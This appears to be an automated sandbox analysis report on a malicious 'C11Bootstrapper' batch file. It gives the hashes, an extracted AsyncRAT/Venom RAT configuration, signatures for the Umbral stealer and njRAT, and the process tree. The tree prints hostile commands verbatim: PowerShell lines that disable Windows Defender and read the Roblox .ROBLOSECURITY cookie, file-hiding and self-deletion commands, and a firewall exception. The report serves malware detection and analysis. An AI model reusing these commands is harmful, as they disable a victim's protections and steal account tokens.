Analysis

  • max time kernel
    1800s
  • max time network
    1560s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240412-en
  • resource tags

    arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19-04-2024 21:10

General

  • Target

    C11Bootstrapper/Start.bat

  • Size

    1KB

  • MD5

    4e3179e79f11708b60c3af67718cc0ae

  • SHA1

    e22536c444427ce73dcc50091c28477c44e23210

  • SHA256

    6953af9e22a172b023757199cc77c0ea2353bfe7ab1843516a161081f0c1d76d

  • SHA512

    aaf2402399fe8887fe516a3be50054129298970dc322652dc02578a523be74135e02b6856f0b7b774df3c827b131d54828143583038bc5350c40e89dcd1409e1

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

127.0.0.1:4449

Mutex

chhphkahmfnasuyziqc

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %Temp%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Start.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K IndependenciesInstallation.bat
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3056
      • C:\Windows\system32\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:3336
      • C:\Windows\system32\timeout.exe
        timeout /t 1
        3⤵
        • Delays execution with timeout.exe
        PID:2228
      • C:\Windows\system32\timeout.exe
        timeout /t 3
        3⤵
        • Delays execution with timeout.exe
        PID:5084
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\msgbox.vbs"
        3⤵
          PID:3584
        • C:\Windows\system32\timeout.exe
          timeout /t 4
          3⤵
          • Delays execution with timeout.exe
          PID:4616
        • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\C11Setup.exe
          C11Setup.exe
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:764
        • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe
          GuiLoader.exe
          3⤵
          • Drops file in Drivers directory
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3080
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3852
          • C:\Windows\SYSTEM32\attrib.exe
            "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe"
            4⤵
            • Views/modifies file attributes
            PID:4344
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe'
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:540
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1044
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4040
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2552
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" os get Caption
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3164
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" computersystem get totalphysicalmemory
            4⤵
              PID:3392
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" csproduct get uuid
              4⤵
                PID:492
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                4⤵
                  PID:1536
                • C:\Windows\System32\Wbem\wmic.exe
                  "wmic" path win32_VideoController get name
                  4⤵
                  • Detects videocard installed
                  PID:2272
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe" && pause
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:712
                  • C:\Windows\system32\PING.EXE
                    ping localhost
                    5⤵
                    • Runs ping.exe
                    PID:4996
              • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\PageEditor.exe
                PageEditor.exe
                3⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2100
                • C:\Users\Admin\AppData\Local\Temp\C11Setup.exe
                  "C:\Users\Admin\AppData\Local\Temp\C11Setup.exe"
                  4⤵
                  • Drops startup file
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Suspicious behavior: GetForegroundWindowSpam
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1980
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\C11Setup.exe" "C11Setup.exe" ENABLE
                    5⤵
                    • Modifies Windows Firewall
                    PID:1508

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            627073ee3ca9676911bee35548eff2b8

            SHA1

            4c4b68c65e2cab9864b51167d710aa29ebdcff2e

            SHA256

            85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

            SHA512

            3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            53a9a623b43fc4a86029d5513c06204e

            SHA1

            cdd289c28325f087821786ad678f2c6979aae9d0

            SHA256

            423344c2f239f8e4ea04fa18441233fb06dd7a20e4d6627ff108bb8ba224e2e4

            SHA512

            5047f950a9da39df99972c5a153ad97709a65b5d8073f25039c81bd3ad8ea772ca0fbc15433f502f80413dee7473057ab6a77e47e0bb699f4fb122c90a2feacf

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            1a9fa92a4f2e2ec9e244d43a6a4f8fb9

            SHA1

            9910190edfaccece1dfcc1d92e357772f5dae8f7

            SHA256

            0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

            SHA512

            5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            948B

            MD5

            45741c307af2576c6437c5fdb24ef9ce

            SHA1

            a6ba7a7705db14ac29a18a98dd7deb4cc759c3bf

            SHA256

            7887859f7179e194ff9b78f8d8fa3830790110a01597f21ff48c84cd935e49d2

            SHA512

            39fdc5931563cbf826e8b643b5f0dcdf45bb6f95a8eeb460499257ca41b3dbee4c692eaacc3fd33bddf4b6ff0c828981ed7e9cd080007bbb9f0b28e7d0d66941

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            cd5b2555a0e703bc746e242654a09c2f

            SHA1

            4021bfba22c0fce16709bfa6140d11272b7bd8b4

            SHA256

            73679042b477828c6c8400590ca1434f5f6b7379aede1442f80bb9ede3bc7811

            SHA512

            404a94bbc1cbcf98dba90160ab65a8acc5a1660d801bf7425ab1fe641599bda1b6494d4d6b65c6584e4ca6c1dea4b1acfde88e4a6d216194dca3b6ae6ca605f1

          • C:\Users\Admin\AppData\Local\Temp\C11Setup.exe

            Filesize

            31KB

            MD5

            562ecb03ac667bc785b4a9ecc3930e00

            SHA1

            7aabba8964d3682dfc29342b57dcf5ec5a4175f9

            SHA256

            a8ae08cf54ebef47f9c19167ea989cfc6fa4536124d53bd79cd8a19063c98c0b

            SHA512

            566f622b4a623c49cf9945e2f0b42dd07678084b7fb78d1f81b8e5190c7f68298ff0e6bd2cac5a0c745c3614ecf7370161370910c228eea410ebacc2afe57cf5

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uwwzwvoc.v4g.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/540-20-0x00000207F4D40000-0x00000207F4D50000-memory.dmp

            Filesize

            64KB

          • memory/540-24-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/540-14-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/540-19-0x00000207F4D00000-0x00000207F4D22000-memory.dmp

            Filesize

            136KB

          • memory/540-15-0x00000207F4D40000-0x00000207F4D50000-memory.dmp

            Filesize

            64KB

          • memory/540-21-0x00000207F4D40000-0x00000207F4D50000-memory.dmp

            Filesize

            64KB

          • memory/764-3-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/764-4-0x000000001B580000-0x000000001B590000-memory.dmp

            Filesize

            64KB

          • memory/764-25-0x00007FFDCF7E0000-0x00007FFDCF9E9000-memory.dmp

            Filesize

            2.0MB

          • memory/764-1-0x0000000000A80000-0x0000000000AC4000-memory.dmp

            Filesize

            272KB

          • memory/764-105-0x00007FFDCF7E0000-0x00007FFDCF9E9000-memory.dmp

            Filesize

            2.0MB

          • memory/764-47-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/1044-29-0x00000260407F0000-0x0000026040800000-memory.dmp

            Filesize

            64KB

          • memory/1044-27-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/1044-39-0x00000260407F0000-0x0000026040800000-memory.dmp

            Filesize

            64KB

          • memory/1044-41-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/1044-28-0x00000260407F0000-0x0000026040800000-memory.dmp

            Filesize

            64KB

          • memory/1536-124-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/1536-112-0x0000027E1D470000-0x0000027E1D480000-memory.dmp

            Filesize

            64KB

          • memory/1536-111-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/1536-122-0x0000027E1D470000-0x0000027E1D480000-memory.dmp

            Filesize

            64KB

          • memory/1980-126-0x0000000075310000-0x00000000758C1000-memory.dmp

            Filesize

            5.7MB

          • memory/1980-109-0x0000000075310000-0x00000000758C1000-memory.dmp

            Filesize

            5.7MB

          • memory/1980-108-0x0000000001370000-0x0000000001380000-memory.dmp

            Filesize

            64KB

          • memory/1980-107-0x0000000075310000-0x00000000758C1000-memory.dmp

            Filesize

            5.7MB

          • memory/1980-128-0x0000000075310000-0x00000000758C1000-memory.dmp

            Filesize

            5.7MB

          • memory/1980-127-0x0000000001370000-0x0000000001380000-memory.dmp

            Filesize

            64KB

          • memory/2100-106-0x0000000075310000-0x00000000758C1000-memory.dmp

            Filesize

            5.7MB

          • memory/2100-71-0x0000000075310000-0x00000000758C1000-memory.dmp

            Filesize

            5.7MB

          • memory/2100-5-0x0000000075310000-0x00000000758C1000-memory.dmp

            Filesize

            5.7MB

          • memory/2100-6-0x0000000001680000-0x0000000001690000-memory.dmp

            Filesize

            64KB

          • memory/2100-7-0x0000000075310000-0x00000000758C1000-memory.dmp

            Filesize

            5.7MB

          • memory/2552-86-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/2552-87-0x000002797A310000-0x000002797A320000-memory.dmp

            Filesize

            64KB

          • memory/2552-88-0x000002797A310000-0x000002797A320000-memory.dmp

            Filesize

            64KB

          • memory/2552-90-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/3080-93-0x000001F840DD0000-0x000001F840DE2000-memory.dmp

            Filesize

            72KB

          • memory/3080-92-0x000001F828580000-0x000001F82858A000-memory.dmp

            Filesize

            40KB

          • memory/3080-0-0x000001F826620000-0x000001F826664000-memory.dmp

            Filesize

            272KB

          • memory/3080-70-0x000001F828560000-0x000001F828570000-memory.dmp

            Filesize

            64KB

          • memory/3080-72-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/3080-132-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/3080-46-0x000001F840DF0000-0x000001F840E0E000-memory.dmp

            Filesize

            120KB

          • memory/3080-45-0x000001F840ED0000-0x000001F840F20000-memory.dmp

            Filesize

            320KB

          • memory/3080-44-0x000001F840E50000-0x000001F840EC6000-memory.dmp

            Filesize

            472KB

          • memory/3080-8-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/4040-61-0x0000021103380000-0x0000021103390000-memory.dmp

            Filesize

            64KB

          • memory/4040-74-0x0000021103380000-0x0000021103390000-memory.dmp

            Filesize

            64KB

          • memory/4040-76-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB

          • memory/4040-60-0x00007FFDAE990000-0x00007FFDAF452000-memory.dmp

            Filesize

            10.8MB